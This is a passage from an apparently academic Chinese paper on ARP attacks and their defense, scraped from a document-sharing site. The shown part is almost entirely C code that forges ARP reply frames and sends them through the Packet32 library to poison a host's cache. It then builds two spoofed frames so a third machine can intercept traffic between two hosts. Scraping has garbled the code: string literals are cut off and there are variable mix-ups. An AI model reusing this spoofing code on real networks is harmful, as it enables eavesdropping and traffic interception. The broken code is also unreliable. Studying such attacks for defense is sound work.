云题海 - 专业文章范例文档资料分享平台

当前位置:首页 > ARP病毒的攻击与防范论文

ARP病毒的攻击与防范论文

  • 62 次阅读
  • 3 次下载
  • 2025/5/25 20:18:44

ARP病毒的攻击与防范

*/

memcpy(ARPPacket1.e1hhdr1.eh_dst, MacAddr, 6); /*定义目的MAC地址AAAAAAAAAAAA*/

ToMacAddr(\将字符串CCCCCCCCCCCC转化成MAC地址*/

memcpy(ARPPacket1.ethhdr1.eh_src, MacAddr, 6); /*定义源MAC地址CCCCCCCCCCCC*/

ARPPacket1.ethhdr1.eh_type = htons(T_ARP); /*常量ARP表示ARP的类型值 */ ARPPacket1.ethhdr1.arp_hrd = htons(H_ARP); /*值为1即表示以太网硬件类型*/ ARPPacket1.ethhdr1.arp_pro = htons(T_IP); /*常量IP协议表示IP的类型值*/ ARPPacket1.ethhdr1.arp_hln = 6; /*MAC地址长度为6字节*/ ARPPacket1.ethhdr1.arp_pln = 4; /*IP地址长度为4字节*/

ARPPacket1.ethhdr1.arp_op = htons(OP_ARPB); /* OP操作类型2表示ARP应答 */

ToMacAddr(\;

memcpy(ARPPacket1.arphdr1.arp_sha, MacAddr, 6);//伪造的B的MAC地址 ARPPacket1.arphdr1.arp_spa = inet_addr(\的IP地址 ToMacAddr(\

memcpy(ARPPacket1.arphdr1.arp_tha , MacAddr, 6); //目标A的MAC地址 ARPPacket1.arphdr1.arp_tpa = inet_addr(\目标A的IP地址

3.2发送ARP欺骗帧

在3.1中已经构造了伪装的ARP回复报文ARPPacket1,接下来需要将数据包发送到局域网内主机A上。在此我们使用开发包Packet32中提供的API函数组。Packet32是著名的网卡数据读写开发包,他有众多版本,在这里使用的是最常用的微软PACKE T32.h。现在著名的网络监听程序如ntsniff、EthernetSpy、ntpacket、WinPcap等都使用Packet32开发。应用程序通过Packet32下PacketSendPacket等函数可以直接操作网卡,设置网卡的工作模式,直接在网卡上读写数据。Packet32包中的有如下一些功能函数:

(1)PacketGetAdapterNames:从注册表中读取网卡名

4

ARP病毒的攻击与防范

(2)PacketOpenAdapter :打开网卡 (3)PacketSetHwFilter :设置过滤器 (4)PacketSetBuff :设置缓冲区的大小

(5)PacketSetReadTimeout :设置读操作的超时时间 (6)PacketAllocatePacket :为_PACKET结构分配内存

(7)PacketInitPacket :初始化_PACKET结构,将packet结构中的buffer设置为传递 的buffer指针。

(8)PacketReceivePacket :读取数据,从NPF driver上读取数据Packets或者统计信 息。

(9)PacketGetStats :得到本次捕获的统计数据 (10)PacketSentPacket :发送数据. 以下是发送数据包的过程代码: (1)首先需要引用Packet32头文件 #include (2)获取网卡硬件列表

f(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE) { printf(\ return 0; (3)取第一个网卡

lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { nRetCode = GetLastError();

printf(\ return 0; }

lpPacket = PacketAllocatePacket(); if(lpPacket == NULL) {

printf(\ return 0; }

(4)将3.1中定义好的数据帧写到内存中

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket)); (5)初试化数据包

4

ARP病毒的攻击与防范

PacketInitPacket(lpPacket, szPacketBuf, 60); if(PacketSetNumWrites(lpAdapter, 2)==FALSE) { printf(\ a single write!\\n\

(6)发送我们构造的伪造ARP数据包

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE) { printf(\ printf (\(7)关闭网卡

PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter);

以上程序使A接收到一个被伪造的ARP应答,对目标A进行欺骗。A发送数据到主机B却发送到了CC-CC-CC-CC-CC-CC这个地址上。这种效果正是前文所描述的,ARP欺骗成功。

但是,完整的ARP欺骗需要进一步做数据的转发,因为A虽然对错误的缓存不能辨别,但是接下来的数据交换中,A与B之间就会由于数据无法匹配而终止通信。因为A发往B的数据转发到了C,所以A在一段时间内无法得到来自B的合法回复后,将意识到通讯存在问题。因此,接下来需要C来做“Man-In-The-Middle”重定向。

3.3同时发向两台机器的“Man-In-The-Middle”

做“Man-In-The-Middle”,进行ARP重定向。首先需要使C同时发两个应答帧到通信的双方A与B。这样C将成为A与B之间的ARP代理,相当与C是AB间的路由器。

(1)同时构造两个ARP应答帧(应答帧中常量定义不再重述)。 ARPPACKET1 ARPPacket1; //定义一个数据报文结构

ToMacAddr(\将字符串AAAAAAAAAAAA转化成MAC地址

memcpy(ARPPacket1.e1hhdr1.eh_dst, MacAddr, 6); //定义目的MAC地址AAAAAAAAAAAA

ToMacAddr(\将字符串CCCCCCCCCCCC转化成MAC地址

memcpy(ARPPacket1.ethhdr1.eh_src, MacAddr, 6); //定义源MAC地址

4

ARP病毒的攻击与防范

CCCCCCCCCCCC

ToMacAddr(\;

memcpy(ARPPacket1.arphdr1.arp_sha, MacAddr, 6);//伪造的B的MAC地址 ARPPacket1.arphdr1.arp_spa = inet_addr(\的IP地址 ToMacAddr(\

memcpy(ARPPacket1.arphdr1.arp_tha , MacAddr, 6); //目标A的MAC地址 ARPPacket1.arphdr1.arp_tpa = inet_addr(\目标A的IP地址 ARPPACKET1 ARPPacket2; //定义一个数据报文结构ARPPacket2

ToMacAddr(\将字符串BBBBBBBBBBBB转化成MAC地址

memcpy(ARPPacket2.e1hhdr1.eh_dst, MacAddr, 6); //定义目的MAC地址AAAAAAAAAAAA

ToMacAddr(\将字符串CCCCCCCCCCCC转化成MAC地址*/

memcpy(ARPPacket2.ethhdr1.eh_src, MacAddr, 6); /*定义源MAC地址CCCCCCCCCCCC*/

ToMacAddr(\;

memcpy(ARPPacket2.arphdr1.arp_sha, MacAddr, 6);//伪造的A的MAC地址 ARPPacket1.arphdr1.arp_spa = inet_addr(\的IP地址 ToMacAddr(\

memcpy(ARPPacket2.arphdr1.arp_tha , MacAddr, 6); //目标B的MAC地址 ARPPacket2.arphdr1.arp_tpa = inet_addr(\目标B的IP地址 (2)将这两个欺骗包同时发往A、B,构造“man-in-the-middle”(网卡初始化部分不

再重述)。

if(PacketSendPacket(lpAdapter, lpPacket1, TRUE)==FALSE) { printf(\ printf (\

if(PacketSendPacket(lpAdapter, lpPacket2, TRUE)==FALSE) { printf(\

4

搜索更多关于: ARP病毒的攻击与防范论文 的文档
  • 收藏
  • 违规举报
  • 版权认领
下载文档10.00 元 加入VIP免费下载
推荐下载
本文作者:...

共分享92篇相关文档

文档简介:

ARP病毒的攻击与防范 */ memcpy(ARPPacket1.e1hhdr1.eh_dst, MacAddr, 6); /*定义目的MAC地址AAAAAAAAAAAA*/ ToMacAddr(\将字符串CCCCCCCCCCCC转化成MAC地址*/ memcpy(ARPPacket1.ethhdr1.eh_src, MacAddr, 6); /*定义源MAC地址CCCCCCCCCCCC*/ ARPPacket1.ethhdr1.eh_type = htons(T_ARP); /*常量ARP表示ARP的类型值 */ ARPPacket1.ethhdr1.arp_hrd = htons(H_ARP); /*值为1即表示以太网硬件类型*/ ARPPacket1.ethhdr1.arp_pro = htons(T_IP)

× 游客快捷下载通道(下载后可以自由复制和排版)
单篇付费下载
限时特价:10 元/份 原价:20元
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信:fanwen365 QQ:370150219
Copyright © 云题海 All Rights Reserved. 苏ICP备16052595号-3 网站地图 客服QQ:370150219 邮箱:370150219@qq.com